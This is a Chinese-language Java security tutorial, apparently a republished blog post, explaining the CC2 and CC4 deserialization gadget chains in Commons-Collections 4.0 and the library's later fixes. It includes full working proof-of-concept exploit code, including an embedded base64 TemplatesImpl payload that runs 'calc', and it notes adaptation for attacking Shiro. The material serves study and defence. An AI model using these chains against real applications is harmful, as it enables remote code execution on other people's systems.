本文为JAVA安全系列文章第十七篇,主要学习CC2 CC4链,重点在于理解PriorityQueue的底层实现原理。
0x01 Commons-Collections与 Commons-Collections4
在前面学习TransformedMap CC1链时,我们介绍过Apache Commons Collections分为3.x和4.x版本。3.x版本包名为org.apache.commons.collections,4.x版本包名为org.apache.commons.collections4。其groupId和artifactId分别为:
可以看到groupId和artifactId都不同,可以说是两个分支。
我们前面分析的CC链默认都是在 Commons Collections<=3.2.1这个分支下的。
一、为什么会有两个分支
commons-collections即3.x分支是在2005年就有的,commons-collections4即4.x分支是在2013年推出的。
Apache官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能向前兼容的改动。所以commons-collections4不再认为是⼀个⽤来替换commons-collections的新版本,⽽是⼀个新的包,两者的命名空间不冲突,故可以共存在同⼀个项⽬中。
二、commons-collections4的改动
我们自然会关心一个问题,commons-collections4做了哪些改动,之前学的那些CC链能否在commons-collections4下使用呢?
答案是能,其实之前在CCK1 CC11那篇文章里已经说了只需要把org.apache.commons.collections.*变为org.apache.commons.collections4.*,LazyMap.decorate()变为LazyMap.lazyMap(),TransformedMap.decorate()变为TransformedMap.transformedMap()就可以了。
我们关心的改动除了一些方法名变了之外,其实还有就是Transformer接口的定义变了:
采用了泛型,同样实现了该接口的类也发生了变化,LazyMap等的代码也采用了泛型:
此外,能调用到Transformer#transform()的方法,在commons-collections4中增加了一些:
0x02 CC2链
通过前面的学习,我们知道commons-collections这个包会有这么多条反序列化链是因为它包含了⼀些可以执⾏任意⽅法的Transformer。故在commons-collections中找Gadget的过程,实际上可以简化为,找⼀条从 Serializable#readObject() ⽅法到 Transformer#transform() ⽅法的调⽤链。
一、TransformingComparator
在org.apache.commons.collections4.comparators包下,有一个可以调用 Transformer#transform()方法的类—TransformingComparator:
可序列化,实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较。TransformingComparator包含了一个Transformer和一个Comparator,在其compare方法中先使用Transformer#transform()对两个要比较的对象进行修饰,然后再调用Comparator进行比较。
二、PriorityQueue
过程很清晰,我们并不需要很理解PriorityQueue是什么,从代码中我们可以直观地看到:
它可序列化,在其内部可以从readObject()-->heapify()-->siftDown()-->siftDownUsingComparator-->comparator.compare()
我们只需要构造一个PriorityQueue,传入Comparator为TransformingComparator,TransformingComparator中的Transformer为我们精心构造就可以了。
Gadget chain:
不过,作为学习,我们还是要理解PriorityQueue到底是什么,这样才能更深入地理解这条链子到底是怎么回事。
要彻底理解PriorityQueue需要点数据结构中关于二叉树和堆的基础知识,下面就简单概括总结介绍下PriorityQueue:
PriorityQueue是一个优先队列,即每次出队的元素都是优先级最高的元素。jdk中使用二叉堆这种数据结构:
通过堆使得每次出队的元素总是队列里面最小的,而元素的大小比较方法可以由用户Comparator指定,这里就相当于指定优先级。
PriorityQueue在反序列化时会调用heapify() 方法来恢复(换⾔之,保证)堆结构的顺序,heapify() 中调用siftDown() ,在siftDown() 中当用户指定了Comparator,就会调用siftDownUsingComparator()进行排序,它是将⼤的元素下移。
siftDownUsingComparator() 中使⽤Comparator().compare() ⽅法⽐较树的两个节点,此时传入的Comparator为TransformingComparator,由此触发Transformer#transform()造成命令执行。
关于PriorityQueue的详细实现原理,可以参考这篇文章:
https://www.cnblogs.com/linghu-java/p/9467805.html
另外,关于CC2链的发现,我觉得应该是原作者对Comparator比较敏感,且对JAVA SE比较熟,知道PriorityQueue这个类反序列化时会调用Comparator.compare()。
三、POC编写
1.PriorityQueueChain POC
理解了上面说的,我们就可以写出POC了
不过有一点还是需要说明一下,从它的原理我们可以了解到:
当向其中添加元素时,也是会调用Comparator().compare() 进行元素比较的:
所以和分析CC6时一样,我们得先传一个人畜无害的fakeformers,不过我们在添加之后不需要移除什么,因为这里只是比较,不会像LazyMap#get()会添加额外的东西。
按照上面的思路,我们可以写出PriorityQueueChain POC如下:
public class PriorityQueueChain {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] fakeformers = {new ConstantTransformer(1)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);
Class clazz = ChainedTransformer.class;
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
2.CC2 POC
不过,Ysoserial中的CC2最终是用的TemplatesImpl来执行命令的,且数组长度为1,所以Ysoserial原生的CC2可以直接用来攻击shiro,有了前面学的几条链子的铺垫,我们同样可以轻易写出POC:
public class CC2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入一个transformer,其iMethodName为人畜无害的toString,避免add时就弹计算器
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
3.踩坑小记
之前学的CCK1链中,InvokerTransformer的iMethodName我们先传入的是人畜无害的getClass,但放在此处add时会抛出异常:
调试发现,此时会导致在compare时两个比较的对象均为Class类型,Class类型是无法进行比较的:
此处有两种修改方式,第一种如下:
ConstantTransformer fakeformer = new ConstantTransformer(1);
Transformer transformer = new InvokerTransformer("newTransformer", null, null);
Comparator comparator = new TransformingComparator(fakeformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(comparator,"transformer",transformer);
原理是add时通过fakeformer后decorated.compare()中的value1,value2均为1:
第二种将InvokerTransformer的iMethodName由getClass改为toString:
Ysoserial源码是使用的第二种:
0x03 CC4链
CC4可以看成是对CC2的改造,用InstantiateTransformer来替代InvokerTransformer,
学习了CC3链,我们也可以很容易写出POC:
public class CC4 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
ConstantTransformer fakeformer = new ConstantTransformer(1);
InstantiateTransformer transformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Comparator comparator = new TransformingComparator(fakeformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(TrAXFilter.class);
queue.add(TrAXFilter.class);
setFieldValue(comparator,"transformer",transformer);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
此处我将数组长度变为1,使其可以用来攻击shiro。
Ysoserial源码数组长度为2,而且感觉有些冗余:
0x04 思考与总结
一、CC2 CC4链是否⽀持在commons-collections 3中使⽤
细心的读者会发现TransformingComparator这个类其实在commons-collections 3中也有,但CC2 CC4链只能在commons-collections 4.0中,原因在于commons-collections 3中的TransformingComparator未实现Serializable接口,即不能进行序列化与反序列化:
二、CC2与CC4链原理概括
CC2和CC4其精髓是一样的:
优先队列PriorityQueue在反序列化时会调用heapify() 方法即堆化来恢复(换⾔之,保证)堆结构的顺序,heapify() 中会调用Comparator().compare() ⽅法⽐较树的两个节点,此时我们传入Comparator为TransformingComparator,由此触发Transformer#transform()造成命令执行。
链子比较简单,我们应着重理解PriorityQueue的实现原理,在后面的CB链的学习中,我们还会碰到它。
三、Apache Commons Collections官⽅对反序列化漏洞的修复
Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本—4.1和3.2.2,采用的是不同的修复方法:
-
3.2.2中的修复
3.2.2中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization()来检测反序列化是否安全:
https://github.com/apache/commons-collections/blob/collections-3.2.2/src/java/org/apache/commons/collections/functors/FunctorUtils.java#L168
检查常⻅的危险Transformer类 ( InstantiateTransformer 、InvokerTransformer 、PrototypeFactory 、CloneTransformer 等)是否在readObject() 时进⾏调⽤。
如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下,当我们反序列化包含这些对象时就会抛出⼀个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
-
4.1中的修复
4.1版本中的修复方法简单粗暴,危险Transformer类(InstantiateTransformer 、InvokerTransformer 、PrototypeFactory 、CloneTransformer 等)不再实现 Serializable 接⼝,也就是说,危险Transformer类彻底⽆法序列化和反序列化了:
https://github.com/apache/commons-collections/tree/collections-4.1/src/main/java/org/apache/commons/collections4/functors
到此,我们已经学完了Ysoserial中的7条CC链及其改造链CCK1-CCK4,CC10,CC11,下一篇我们学习剩下的CC8 CC9链。
参考:
p神《JAVA安全漫谈》
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论